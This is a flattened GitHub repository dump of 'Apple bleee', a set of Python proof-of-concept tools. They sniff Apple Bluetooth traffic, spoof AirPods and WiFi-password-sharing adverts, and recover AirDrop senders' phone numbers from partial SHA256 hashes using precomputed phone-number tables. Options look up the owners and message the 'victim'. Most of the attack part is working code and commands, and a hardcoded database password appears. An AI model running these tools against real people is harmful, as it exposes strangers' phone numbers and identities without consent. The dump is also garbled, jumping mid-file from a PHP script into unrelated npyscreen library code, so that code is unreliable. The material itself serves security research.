├── .gitignore
├── LICENSE
├── README.md
├── adv_airpods.py
├── adv_wifi.py
├── airdrop_leak.py
├── ble_read_state.py
├── hash2phone
├── README.md
├── db_init.sql
├── hashmap_gen.py
├── hashmap_gen_sqlite.py
├── img
│ └── hash_api.png
├── map_hash_num.php
└── map_hash_num_sqlite.php
├── img
├── airdrop_gif.gif
├── airpods_gif.gif
├── dev_status.png
├── logo.jpg
├── share_wifi_gif.gif
├── share_wifi_pwd2_gif.gif
└── status_gif.gif
├── npyscreen
├── __init__.py
├── apNPSApplication.py
├── apNPSApplicationAdvanced.py
├── apNPSApplicationEvents.py
├── apNPSApplicationManaged.py
├── apOptions.py
├── compatibility_code
│ ├── __init__.py
│ ├── npysNPSTree.py
│ └── oldtreeclasses.py
├── eveventhandler.py
├── fmActionForm.py
├── fmActionFormV2.py
├── fmFileSelector.py
├── fmForm.py
├── fmFormMultiPage.py
├── fmFormMutt.py
├── fmFormMuttActive.py
├── fmFormWithMenus.py
├── fmPopup.py
├── fm_form_edit_loop.py
├── globals.py
├── muMenu.py
├── muNewMenu.py
├── npysGlobalOptions.py
├── npysNPSFilteredData.py
├── npysThemeManagers.py
├── npysThemes.py
├── npysTree.py
├── npyspmfuncs.py
├── npyssafewrapper.py
├── proto_fm_screen_area.py
├── stdfmemail.py
├── utilNotify.py
├── util_viewhelp.py
├── wgFormControlCheckbox.py
├── wgNMenuDisplay.py
├── wgannotatetextbox.py
├── wgautocomplete.py
├── wgboxwidget.py
├── wgbutton.py
├── wgcheckbox.py
├── wgcombobox.py
├── wgdatecombo.py
├── wgeditmultiline.py
├── wgfilenamecombo.py
├── wggrid.py
├── wggridcoltitles.py
├── wgmonthbox.py
├── wgmultiline.py
├── wgmultilineeditable.py
├── wgmultilinetree.py
├── wgmultilinetreeselectable.py
├── wgmultiselect.py
├── wgmultiselecttree.py
├── wgpassword.py
├── wgselectone.py
├── wgslider.py
├── wgtextbox.py
├── wgtextbox_controlchrs.py
├── wgtextboxunicode.py
├── wgtexttokens.py
├── wgtitlefield.py
├── wgwidget.py
└── wgwidget_proto.py
├── opendrop2
├── __init__.py
├── __main__.py
├── certs
│ └── apple_root_ca.pem
├── cli.py
├── client.py
├── config.py
├── server.py
├── util.py
└── zeroconf.py
├── requirements.txt
└── utils
└── bluetooth_utils.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 |
5 | # C extensions
6 | *.so
7 |
8 | # Distribution / packaging
9 | .Python
10 | env/
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | *.egg-info/
23 | .installed.cfg
24 | *.egg
25 |
26 | # PyInstaller
27 | # Usually these files are written by a python script from a template
28 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
29 | *.manifest
30 | *.spec
31 |
32 | # Installer logs
33 | pip-log.txt
34 | pip-delete-this-directory.txt
35 |
36 | # Unit test / coverage reports
37 | htmlcov/
38 | .tox/
39 | .coverage
40 | .cache
41 | nosetests.xml
42 | coverage.xml
43 |
44 | # Translations
45 | *.mo
46 | *.pot
47 |
48 | # Django stuff:
49 | *.log
50 |
51 | # Sphinx documentation
52 | docs/_build/
53 | docs/api/modules.rst
54 | docs/api/pysap.*rst
55 | docs/**/.ipynb_checkpoints/
56 | docs/**/*.tex
57 | docs/**/*.dvi
58 |
59 | # PyBuilder
60 | target/
61 |
62 | # IDEs
63 | .idea
64 | .project
65 | .pydevproject
66 | .settings
67 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Apple bleee
2 |
3 |
4 |
5 |
6 |
7 | ## Disclaimer
8 | These scripts are experimental PoCs that show what an attacker get from Apple devices if they sniff Bluetooth traffic.
9 |
10 | ***This project is created only for educational purposes and cannot be used for law violation or personal gain.
The author of this project is not responsible for any possible harm caused by the materials of this project***
11 |
12 |
13 | ## Requirements
14 | To use these scripts you will need a Bluetooth adapter for sending `BLE` messages and WiFi card supporting active monitor mode with frame injection for communication using `AWDL` (AirDrop). We recommend the Atheros AR9280 chip (IEEE 802.11n) we used to develop and test this code.
15 | We have tested these PoCs on **Kali Linux**
16 |
17 |
18 | ## Installation
19 |
20 | ```
21 | # clone main repo
22 | git clone https://github.com/hexway/apple_bleee.git && cd ./apple_bleee
23 | # install dependencies
24 | sudo apt update && sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev libnl-genl-3-dev libnl-route-3-dev cmake libbluetooth-dev
25 | sudo pip3 install -r requirements.txt
26 | # clone and install owl for AWDL interface
27 | git clone https://github.com/seemoo-lab/owl.git && cd ./owl && git submodule update --init && mkdir build && cd build && cmake .. && make && sudo make install && cd ../..
28 | ```
29 |
30 | ## How to use
31 |
32 | Before using the tool, check that your Bluetooth adapter is connected
33 |
34 | ```
35 | hcitool dev
36 | Devices:
37 | hci0 00:1A:7D:DA:71:13
38 | ```
39 |
40 |
41 | ### Script: [ble_read_state.py](https://github.com/hexway/apple_bleee/blob/master/ble_read_state.py)
42 |
43 | This script sniffs `BLE` traffic and displays status messages from Apple devices.
44 | Moreover, the tool detects requests for password sharing from Apple devices. In these packets, we can get first 3 bytes of sha256(phone_number) and could try to guess the original phone number using prepared tables with phone hash values.
45 |
46 | 
47 |
48 | ```bash
49 | python3 ble_read_state.py -h
50 | usage: ble_read_state.py [-h] [-c] [-n] [-r] [-l] [-s] [-m] [-a] [-t TTL]
51 |
52 | Apple bleee. Apple device sniffer
53 | ---chipik
54 |
55 | optional arguments:
56 | -h, --help show this help message and exit
57 | -c, --check_hash Get phone number by hash
58 | -n, --check_phone Get user info by phone number (TrueCaller/etc)
59 | -r, --check_region Get phone number region info
60 | -l, --check_hlr Get phone number info by HLR request (hlrlookup.com)
61 | -s, --ssid Get SSID from requests
62 | -m, --message Send iMessage to the victim
63 | -a, --airdrop Get info from AWDL
64 | -t TTL, --ttl TTL ttl
65 | ```
66 |
67 | For monitoring you can just run the script without any parameters
68 |
69 | ```bash
70 | sudo python3 ble_read_state.py
71 | ```
72 |
73 | press `Ctrl+q` to exit
74 |
75 | If you want to get phone numbers from a WiFi password request, you have to prepare the hashtable (please find scripts below), setup a web server and specify `base_url` inside this script and run it with `-c` parameter
76 |
77 | ```bash
78 | sudo python3 ble_read_state.py -с
79 | ```
80 |
81 | **Video demo (click):**
82 |
83 | [](https://www.youtube.com/watch?v=Bi602yAIBAw)
84 |
85 | ### Script: [airdrop_leak.py](https://github.com/hexway/apple_bleee/blob/master/airdrop_leak.py)
86 |
87 | This script allows to get mobile phone number of any user who will try to send file via AirDrop
88 |
89 | For this script, we'll need `AWDL` interface:
90 | ```bash
91 | # set wifi card to monitor mode and run owl
92 | sudo iwconfig wlan0 mode monitor && sudo ip link set wlan0 up && sudo owl -i wlan0 -N &
93 | ```
94 |
95 | Now, you can run the script
96 |
97 | ```bash
98 | python3 airdrop_leak.py -h
99 | usage: airdrop_leak.py [-h] [-c] [-n] [-m]
100 |
101 | Apple AirDrop phone number catcher
102 | ---chipik
103 |
104 | optional arguments:
105 | -h, --help show this help message and exit
106 | -c, --check_hash Get phone number by hash
107 | -n, --check_phone Get user info by phone number (TrueCaller/etc)
108 | -m, --message Send iMessage to the victim
109 | ```
110 |
111 | With no params, the script just displays phone hash and ipv6 address of the sender
112 |
113 | ```bash
114 | sudo python3 airdrop_leak.py
115 | ```
116 |
117 | **Video demo (click):**
118 |
119 | [](https://www.youtube.com/watch?v=mREIeH_s3z8)
120 |
121 | ### Script: [adv_wifi.py](https://github.com/hexway/apple_bleee/blob/master/adv_wifi.py)
122 |
123 | This script sends `BLE` messages with WiFi password sharing request. This PoC shows that an attacker can trigger a pop up message on the target device if he/she knows any phone/email that exists on the victim's device
124 |
125 | ```bash
126 | python3 adv_wifi.py -h
127 | usage: adv_wifi.py [-h] [-p PHONE] [-e EMAIL] [-a APPLEID] -s SSID
128 | [-i INTERVAL]
129 |
130 | WiFi password sharing spoofing PoC
131 | ---chipik
132 |
133 | optional arguments:
134 | -h, --help show this help message and exit
135 | -p PHONE, --phone PHONE
136 | Phone number (example: 39217XXX514)
137 | -e EMAIL, --email EMAIL
138 | Email address (example: test@test.com)
139 | -a APPLEID, --appleid APPLEID
140 | Email address (example: test@icloud.com)
141 | -s SSID, --ssid SSID WiFi SSID (example: test)
142 | -i INTERVAL, --interval INTERVAL
143 | Advertising interval
144 | ```
145 |
146 | For a WiFi password request, we'll need to specify any contact (email/phone) that exists in a victim's contacts and the SSID of a WiFi network the victim knows
147 |
148 | ```bash
149 | sudo python3 adv_wifi.py -e pr@hexway.io -s hexway
150 | ```
151 |
152 | **Video demo (click):**
153 |
154 | [](https://www.youtube.com/watch?v=QkGCP2mfbJ8)
155 |
156 | ### Script: [adv_airpods.py](https://github.com/hexway/apple_bleee/blob/master/adv_airpods.py)
157 |
158 | This script mimics AirPods by sending `BLE` messages
159 |
160 | ```bash
161 | python3 adv_airpods.py -h
162 | usage: adv_airpods.py [-h] [-i INTERVAL] [-r]
163 |
164 | AirPods advertise spoofing PoC
165 | ---chipik
166 |
167 | optional arguments:
168 | -h, --help show this help message and exit
169 | -i INTERVAL, --interval INTERVAL
170 | Advertising interval
171 | -r, --random Send random charge values
172 | ```
173 |
174 | Let's send `BLE` messages with random charge values for headphones
175 |
176 | ```bash
177 | sudo python3 adv_airpods.py -r
178 | ```
179 |
180 | **Video demo (click):**
181 |
182 | [](https://www.youtube.com/watch?v=HoSuLUtrkXo)
183 |
184 | ### Script: [hash2phone](https://github.com/hexway/apple_bleee/blob/master/hash2phone/)
185 |
186 | You can use this script to create pre-calculated table with mobile phone numbers hashes
187 | Please find details [here](/hash2phone)
188 |
189 | ## Contacts
190 |
191 | [https://hexway.io](https://hexway.io)
192 | [@_hexway](https://twitter.com/_hexway)
193 |
--------------------------------------------------------------------------------
/adv_airpods.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # Author: Dmitry Chastuhin
3 | # Twitter: https://twitter.com/_chipik
4 |
5 | # web: https://hexway.io
6 | # Twitter: https://twitter.com/_hexway
7 |
8 | import random
9 | import hashlib
10 | import argparse
11 | from time import sleep
12 | import bluetooth._bluetooth as bluez
13 | from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising)
14 |
15 | help_desc = '''
16 | AirPods advertise spoofing PoC
17 | ---chipik
18 | '''
19 |
20 | parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
21 | parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval')
22 | parser.add_argument('-r', '--random', action='store_true', help='Send random charge values')
23 | args = parser.parse_args()
24 |
25 | dev_id = 0 # the bluetooth device is hci0
26 | toggle_device(dev_id, True)
27 |
28 | data1 = (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x01, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45)
29 | left_speaker = (random.randint(1, 100),)
30 | right_speaker = (random.randint(1, 100),)
31 | case = (random.randint(128, 228),)
32 | data2 = (0xda, 0x29, 0x58, 0xab, 0x8d, 0x29, 0x40, 0x3d, 0x5c, 0x1b, 0x93, 0x3a)
33 |
34 | try:
35 | sock = bluez.hci_open_dev(dev_id)
36 | except:
37 | print("Cannot open bluetooth device %i" % dev_id)
38 | raise
39 |
40 | print("Start advertising...")
41 | if args.random:
42 | while True:
43 | try:
44 | sock = bluez.hci_open_dev(dev_id)
45 | except:
46 | print("Cannot open bluetooth device %i" % dev_id)
47 | raise
48 | left_speaker = (random.randint(1, 100),)
49 | right_speaker = (random.randint(1, 100),)
50 | case = (random.randint(128, 228),)
51 | start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval,
52 | data=(data1 + left_speaker + right_speaker + case + data2))
53 | sleep(2)
54 | stop_le_advertising(sock)
55 | else:
56 | try:
57 | start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval,
58 | data=(data1 + left_speaker + right_speaker + case + data2))
59 | while True:
60 | sleep(2)
61 | except:
62 | stop_le_advertising(sock)
63 | raise
64 |
--------------------------------------------------------------------------------
/adv_wifi.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # Author: Dmitry Chastuhin
3 | # Twitter: https://twitter.com/_chipik
4 |
5 | # web: https://hexway.io
6 | # Twitter: https://twitter.com/_hexway
7 |
8 | import random
9 | import hashlib
10 | import argparse
11 | from time import sleep
12 | import bluetooth._bluetooth as bluez
13 | from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising)
14 |
15 | help_desc = '''
16 | WiFi password sharing spoofing PoC
17 | ---chipik
18 | '''
19 |
20 | parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
21 | parser.add_argument('-p', '--phone', default='none', help='Phone number (example: 39217XXX514)')
22 | parser.add_argument('-e', '--email', default='none', help='Email address (example: test@test.com)')
23 | parser.add_argument('-a', '--appleid', default='none', help='Email address (example: test@icloud.com)')
24 | parser.add_argument('-s', '--ssid', required=True, help='WiFi SSID (example: test)')
25 | parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval')
26 | args = parser.parse_args()
27 |
28 |
29 | def get_hash(data, size=3):
30 | return tuple(bytearray.fromhex(hashlib.sha256(data.encode('utf-8')).hexdigest())[:size])
31 |
32 |
33 | dev_id = 0 # the bluetooth device is hci0
34 | toggle_device(dev_id, True)
35 |
36 | header = (0x02, 0x01, 0x1a, 0x1a, 0xff, 0x4c, 0x00)
37 | const1 = (0x0f, 0x11, 0xc0, 0x08)
38 | id1 = (0xff, 0xff, 0xff)
39 | contact_id_mail = get_hash(args.email)
40 | contact_id_tel = get_hash(args.phone)
41 | contact_id_appleid = get_hash(args.appleid)
42 | id_wifi = get_hash(args.ssid)
43 | const2 = (0x10, 0x02, 0x0b, 0x0c,)
44 |
45 | print("Start advertising...")
46 | try:
47 | sock = bluez.hci_open_dev(dev_id)
48 | except:
49 | print("Cannot open bluetooth device %i" % dev_id)
50 | raise
51 |
52 | try:
53 | start_le_advertising(sock, adv_type=0x00, min_interval=args.interval, max_interval=args.interval, data=(
54 | header + const1 + id1 + contact_id_appleid + contact_id_tel + contact_id_mail + id_wifi + const2))
55 | while True:
56 | sleep(2)
57 | except:
58 | stop_le_advertising(sock)
59 | raise
60 |
--------------------------------------------------------------------------------
/airdrop_leak.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # Author: Dmitry Chastuhin
3 | # Twitter: https://twitter.com/_chipik
4 |
5 | # web: https://hexway.io
6 | # Twitter: https://twitter.com/_hexway
7 |
8 |
9 | # !!!!!!!!
10 | # Don't forget to install https://github.com/seemoo-lab/owl before using this script
11 | # 1. Install owl
12 | # 2. iwconfig wlan0 mode monitor
13 | # 3. ip link set wlan0 up
14 | # 4. owl -i wlan0 -N
15 |
16 | import time
17 | import json
18 | import hashlib
19 | import argparse
20 | import requests
21 | from threading import Thread, Timer
22 | from opendrop2.cli import AirDropCli
23 | from opendrop2.server import get_devices
24 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
25 |
26 | help_desc = '''
27 | Apple AirDrop phone number catcher
28 | ---chipik
29 | '''
30 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
31 | parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
32 | parser.add_argument('-c', '--check_hash', action='store_true', help='Get phone number by hash')
33 | parser.add_argument('-n', '--check_phone', action='store_true', help='Get user info by phone number (TrueCaller/etc)')
34 | parser.add_argument('-m', '--message', action='store_true', help='Send iMessage to the victim')
35 | args = parser.parse_args()
36 |
37 | base_url = '' # URL to hash2phone matcher
38 | imessage_url = '' # URL to iMessage sender (sorry, but we did some RE for that :) )
39 | verify = False
40 | results = {}
41 |
42 | if args.message:
43 | if not imessage_url:
44 | print("You have to specify imessage_url if you want to send iMessages to the victim")
45 | exit(1)
46 | if args.check_phone:
47 | # import from TrueCaller API lib (sorry, but we did some RE for that :))
48 | print("Sorry, but we don't provide this functionality as a part of this PoC")
49 | exit(1)
50 | if args.check_hash:
51 | if not base_url:
52 | print("You have to specify base_url if you want to match hashes to phones")
53 | exit(1)
54 |
55 |
56 | def get_phone(hash):
57 | global phone_number_info
58 | r = requests.get(base_url, params={'hash': hash}, verify=verify)
59 | if r.status_code == 200:
60 | result = r.json()
61 | return result['candidates']
62 | else:
63 | print("Something wrong! Status: {}".format(r.status_code))
64 |
65 |
66 | def start_listetninig():
67 | print("[*] Looking for AirDrop senders...")
68 | AirDropCli(["receive"])
69 |
70 |
71 | def get_hash(data):
72 | return hashlib.sha256(data.encode('utf-8')).hexdigest()
73 |
74 |
75 | def get_names(phone, lat=False):
76 | name, carrier, region = get_number_info_TrueCaller('+{}'.format(phone), lat)
77 | return name, carrier, region
78 |
79 |
80 | def send_imessage(tel, text):
81 | data = {"token": "",
82 | "destination": "+{}".format(tel),
83 | "text": text
84 | }
85 | r = requests.post(imessage_url + '/imessage', data=json.dumps(data), verify=verify)
86 | if r.status_code == 200:
87 | print("[*] iMessage sent")
88 | elif r.status_code == 404:
89 | print("[*] iMessage failed")
90 | else:
91 | print(r.content)
92 | print("Something wrong! Status: {}".format(r.status_code))
93 |
94 |
95 | thread2 = Thread(target=start_listetninig, args=())
96 | thread2.daemon = True
97 | thread2.start()
98 |
99 | # OMG i'm a programmer loop here
100 | while 1:
101 | time.sleep(5)
102 | devs = get_devices()
103 | if len(devs):
104 | for dev in devs:
105 | if dev["phone"] not in results.keys():
106 | if dev["hash"]:
107 | if args.check_hash:
108 | ph_candidates = get_phone(dev["hash"][:6])
109 | for candidate in ph_candidates:
110 | if dev["hash"] == get_hash(candidate):
111 | dev["phone"] = candidate
112 | results[dev["phone"]] = dev
113 | if args.check_phone:
114 | name, carrier, region = get_names(dev["phone"], True)
115 | print(
116 | "Someone with phone number \033[92m{} ({})\033[0m and ip \033[92m{}\033[0m has tried to use AirDrop".format(
117 | dev["phone"], name, dev["ip"]))
118 | if args.message:
119 | send_imessage(dev["phone"],
120 | "Hi, {}! Have you tried to send smth via AirDrop?".format(name))
121 | else:
122 | print(
123 | "Someone with phone number \033[92m{}\033[0m and ip \033[92m{}\033[0m has tried to use AirDrop".format(
124 | dev["phone"], dev["ip"]))
125 | if args.message:
126 | send_imessage(dev["phone"],
127 | "Hi {}! Have you tried to send smth via AirDrop?".format(
128 | dev["phone"]))
129 | else:
130 | print("Someone with phone number hash \033[92m{}\033[0m has tried to use AirDrop".format(
131 | dev["hash"]))
132 |
133 | else:
134 | print("We've got an empty hash :/")
135 |
--------------------------------------------------------------------------------
/hash2phone/README.md:
--------------------------------------------------------------------------------
1 | # Pre-calculated phone numbers hash map
2 |
3 | This tool allows to pre-compute a list of hashes for a range of telephone numbers. It can use either postgresql + web service or sqlite3.
4 |
5 | ## Installation
6 |
7 | **Tested on: Ubuntu 18.04**
8 |
9 | Install dependencies
10 |
11 | ```
12 | sudo apt update
13 | sudo apt install apache2 apache2-utils php php-pgsql libapache2-mod-php libpq5 postgresql postgresql-client postgresql-client-common postgresql-contrib python python-pip python-pip postgresql-server-dev-all
14 | sudo pip install psycopg2
15 | ```
16 |
17 | Prepare database
18 |
19 | - Postgresql
20 |
21 | ```
22 | sudo -u postgres psql < db_init.sql
23 | ```
24 |
25 | Place lookup script into webserver directory:
26 |
27 | ```
28 | cp map_hash_num.php /var/www/html/
29 | ```
30 |
31 | - SQLite
32 |
33 | ```
34 | python3 hashmap_gen_sqlite.py dbinit
35 | ```
36 |
37 | Fill database with hashes for phone numbers range with your favorite preffix (e.g. +12130000000 -> +12139999999)
38 |
39 | - Postgresql
40 |
41 | ```
42 | python3 hashmap_gen.py 1213
43 | ```
44 |
45 | - SQLite
46 |
47 | ```
48 | python3 hashmap_gen_sqlite.py 1213XXXXXX
49 | ```
50 |
51 | ## Usage
52 |
53 | Now you can get mobile phones by 3 bytes of SHA256(phone_number) this way:
54 |
55 | ```
56 | http://127.0.0.1/map_hash_num.php?hash=112233
57 | ```
58 |
59 | 
60 |
61 |
62 | will store the hashes for those numbers in a file named phones.db
63 |
--------------------------------------------------------------------------------
/hash2phone/db_init.sql:
--------------------------------------------------------------------------------
1 | CREATE DATABASE phones;
2 | CREATE USER lookup WITH password 'h3xwayp4ssw0rd'; --you can change it if you want
3 |
4 | GRANT ALL ON DATABASE phones TO lookup;
5 | \c phones
6 |
7 |
8 | CREATE TABLE public.map (
9 | id integer NOT NULL,
10 | hash bytea,
11 | phone character varying(11)
12 | );
13 |
14 | ALTER TABLE public.map OWNER TO lookup;
15 |
16 | CREATE SEQUENCE public.map_id_seq
17 | AS integer
18 | START WITH 1
19 | INCREMENT BY 1
20 | NO MINVALUE
21 | NO MAXVALUE
22 | CACHE 1;
23 |
24 | ALTER TABLE public.map_id_seq OWNER TO lookup;
25 |
26 | ALTER SEQUENCE public.map_id_seq OWNED BY public.map.id;
27 |
28 | ALTER TABLE ONLY public.map ALTER COLUMN id SET DEFAULT nextval('public.map_id_seq'::regclass);
29 | ALTER TABLE ONLY public.map ADD CONSTRAINT map_pkey PRIMARY KEY (id);
30 | CREATE INDEX hash_index_btree ON public.map USING btree (hash);
31 |
--------------------------------------------------------------------------------
/hash2phone/hashmap_gen.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 |
3 | # web: https://hexway.io
4 | # Twitter: https://twitter.com/_hexway
5 |
6 |
7 | #yeah, this is just PoC
8 |
9 | from __future__ import print_function
10 | import sys
11 | import hashlib
12 | import psycopg2
13 |
14 | if len(sys.argv)!=2:
15 | print("\nUsage:\t",sys.argv[0],"<4-digit phone prefix>")
16 | print("\nEx.:Calculate hashmap for range +12130000000 -- +12139999999:")
17 | print(sys.argv[0],"1213")
18 | print("\n\n");
19 | sys.exit()
20 |
21 |
22 | prefix = sys.argv[1]
23 | num=int(prefix+"0000000")
24 | stop_num=num+10000000
25 |
26 | connection = psycopg2.connect(user="lookup",
27 | password="h3xwayp4ssw0rd", #you can change it if you want
28 | host="127.0.0.1",
29 | port="5432",
30 | database="phones")
31 | cursor = connection.cursor()
32 |
33 | postgres_insert_query = """ INSERT INTO map (hash, phone) VALUES (%s, %s)"""
34 |
35 |
36 | while num < stop_num :
37 |
38 | if num % 100000 == 0:
39 | print(100-(stop_num-num)/100000,"% complete")
40 | connection.commit()
41 | strnum = str(num).encode('utf-8')
42 | m = hashlib.sha256()
43 | m.update(strnum)
44 | bhash = m.digest()
45 | strhash = str(bhash).encode()
46 | print(strhash)
47 | print(strnum)
48 | record_to_insert = (strhash, num)
49 | print(record_to_insert)
50 | cursor.execute(postgres_insert_query, record_to_insert)
51 |
52 |
53 |
54 | num +=1
55 | connection.commit()
56 | print("last num:\t", strnum)
57 | print("done!")
58 |
--------------------------------------------------------------------------------
/hash2phone/hashmap_gen_sqlite.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | #
3 | # Generating 3 first-bytes sha256 of
4 | # phones number given a specific range
5 | # and storing into an sqlite3 DB
6 | #
7 | # -- gelim
8 |
9 | from hashlib import sha256
10 | import sqlite3
11 | import sys
12 |
13 |
14 | db_file = 'phones.db'
15 | sql_drop = 'DROP TABLE IF EXISTS map'
16 | sql_create = 'CREATE TABLE map (id integer primary key, hash text, phone integer)' # saving up to 20% with integer for phones
17 | sql_insert = 'INSERT INTO map (hash, phone) VALUES (?, ?)'
18 |
19 |
20 | if len(sys.argv) != 2:
21 | progname = sys.argv[0]
22 | print('''Usage: %s dbinit
23 | will initialize the sqlite3 phone hash database (can takes some time)
24 |
25 | %s phonemask
26 | Example: %s 336XXXXXXXX
27 | for generating hashes for numbers starting from 33600000000 up to 33699999999
28 |
29 | You can as well use space or hyphen char as you wish, like:
30 | - 336 XX XX XX XX (French mobile number)
31 | - 1 408-XXX-XXXX (would be a landline Cupertino area)
32 | ''' % (progname, progname, progname))
33 | exit(0)
34 |
35 | conn = sqlite3.connect(db_file)
36 | c = conn.cursor()
37 |
38 | if sys.argv[1] == 'test':
39 | c.execute("SELECT phone FROM map WHERE hash='56d5a1'")
40 | phones = c.fetchall()
41 | for p in phones: print(str(p[0]))
42 | exit(0)
43 |
44 | if sys.argv[1] == 'dbinit':
45 | c.execute(sql_drop)
46 | c.execute(sql_create)
47 | conn.commit()
48 | conn.close()
49 | exit(0)
50 |
51 | phonemask = sys.argv[1]
52 | phonemask = phonemask.replace(' ', '').replace('-', '')
53 | phone_start = int(phonemask.replace('X', '0'))
54 | phone_stop = int(phonemask.replace('X', '9'))
55 | percentile = (phone_stop - phone_start + 1) / 100
56 |
57 | phones_temp = list()
58 |
59 | for num in range(phone_start, phone_stop + 1):
60 | hashp = sha256(str(num).encode('latin1')).hexdigest()[:6]
61 | phones_temp.append((hashp, num))
62 |
63 | if num % percentile == 0:
64 | print("\r%d%% completed" % int(100 - (phone_stop-num)/percentile), end="")
65 | c.executemany(sql_insert, phones_temp)
66 | phones_temp = list()
67 | conn.commit()
68 | conn.close()
69 | print()
70 |
--------------------------------------------------------------------------------
/hash2phone/img/hash_api.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hexway/apple_bleee/1f8022959be660b561e6004b808dd93fa252bc90/hash2phone/img/hash_api.png
--------------------------------------------------------------------------------
/hash2phone/map_hash_num.php:
--------------------------------------------------------------------------------
1 | 0:
160 | if self._FORM_VISIT_LIST[-1] != self.NEXT_ACTIVE_FORM:
161 | self._FORM_VISIT_LIST.append(self.NEXT_ACTIVE_FORM)
162 | else:
163 | self._FORM_VISIT_LIST.append(self.NEXT_ACTIVE_FORM)
164 | #self._THISFORM._resize()
165 | if hasattr(self._THISFORM, "activate"):
166 | self._THISFORM._resize()
167 | self._THISFORM.activate()
168 | else:
169 | if hasattr(self._THISFORM, "beforeEditing"):
170 | self._THISFORM.beforeEditing()
171 | self._THISFORM._resize()
172 | self._THISFORM.edit()
173 | if hasattr(self._THISFORM, "afterEditing"):
174 | self._THISFORM.afterEditing()
175 |
176 | self.onInMainLoop()
177 | self.onCleanExit()
178 |
179 | def onInMainLoop(self):
180 | """Called between each screen while the application is running. Not called before the first screen. Override at will"""
181 |
182 | def onStart(self):
183 | """Override this method to perform any initialisation."""
184 | pass
185 |
186 | def onCleanExit(self):
187 | """Override this method to perform any cleanup when application is exiting without error."""
188 |
189 |
190 |
--------------------------------------------------------------------------------
/npyscreen/compatibility_code/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hexway/apple_bleee/1f8022959be660b561e6004b808dd93fa252bc90/npyscreen/compatibility_code/__init__.py
--------------------------------------------------------------------------------
/npyscreen/compatibility_code/npysNPSTree.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import weakref
3 | import collections
4 | import operator
5 |
6 | class NPSTreeData(object):
7 | CHILDCLASS = None
8 | def __init__(self, content=None, parent=None, selected=False, selectable=True,
9 | highlight=False, expanded=True, ignoreRoot=True, sort_function=None):
10 | self.setParent(parent)
11 | self.setContent(content)
12 | self.selectable = selectable
13 | self.selected = selected
14 | self.highlight = highlight
15 | self.expanded = expanded
16 | self._children = []
17 | self.ignoreRoot = ignoreRoot
18 | self.sort = False
19 | self.sort_function = sort_function
20 | self.sort_function_wrapper = True
21 |
22 |
23 | def getContent(self):
24 | return self.content
25 |
26 | def getContentForDisplay(self):
27 | return str(self.content)
28 |
29 | def setContent(self, content):
30 | self.content = content
31 |
32 | def isSelected(self):
33 | return self.selected
34 |
35 | def isHighlighted(self):
36 | return self.highlight
37 |
38 | def setParent(self, parent):
39 | if parent == None:
40 | self._parent = None
41 | else:
42 | self._parent = weakref.proxy(parent)
43 |
44 | def getParent(self):
45 | return self._parent
46 |
47 |
48 | def findDepth(self, d=0):
49 | depth = d
50 | parent = self.getParent()
51 | while parent:
52 | d += 1
53 | parent = parent.getParent()
54 | return d
55 | # Recursive
56 | #if self._parent == None:
57 | # return d
58 | #else:
59 | # return(self._parent.findDepth(d+1))
60 |
61 | def isLastSibling(self):
62 | if self.getParent():
63 | if list(self.getParent().getChildren())[-1] == self:
64 | return True
65 | else:
66 | return False
67 | else:
68 | return None
69 |
70 | def hasChildren(self):
71 | if len(self._children) > 0:
72 | return True
73 | else:
74 | return False
75 |
76 | def getChildren(self):
77 | for c in self._children:
78 | try:
79 | yield weakref.proxy(c)
80 | except:
81 | yield c
82 |
83 | def getChildrenObjects(self):
84 | return self._children[:]
85 |
86 | def _getChildrenList(self):
87 | return self._children
88 |
89 | def newChild(self, *args, **keywords):
90 | if self.CHILDCLASS:
91 | cld = self.CHILDCLASS
92 | else:
93 | cld = type(self)
94 | c = cld(parent=self, *args, **keywords)
95 | self._children.append(c)
96 | return weakref.proxy(c)
97 |
98 | def removeChild(self, child):
99 | new_children = []
100 | for ch in self._children:
101 | # do it this way because of weakref equality bug.
102 | if not ch.getContent() == child.getContent():
103 | new_children.append(ch)
104 | else:
105 | ch.setParent(None)
106 | self._children = new_children
107 |
108 |
109 | def create_wrapped_sort_function(self, this_function):
110 | def new_function(the_item):
111 | if the_item:
112 | the_real_item = the_item.getContent()
113 | return this_function(the_real_item)
114 | else:
115 | return the_item
116 | return new_function
117 |
118 | def walkParents(self):
119 | p = self.getParent()
120 | while p:
121 | yield p
122 | p = p.getParent()
123 |
124 | def walkTree(self, onlyExpanded=True, ignoreRoot=True, sort=None, sort_function=None):
125 | #Iterate over Tree
126 | if sort is None:
127 | sort = self.sort
128 |
129 | if sort_function is None:
130 | sort_function = self.sort_function
131 |
132 | # example sort function # sort = True
133 | # example sort function # def sort_function(the_item):
134 | # example sort function # import email.utils
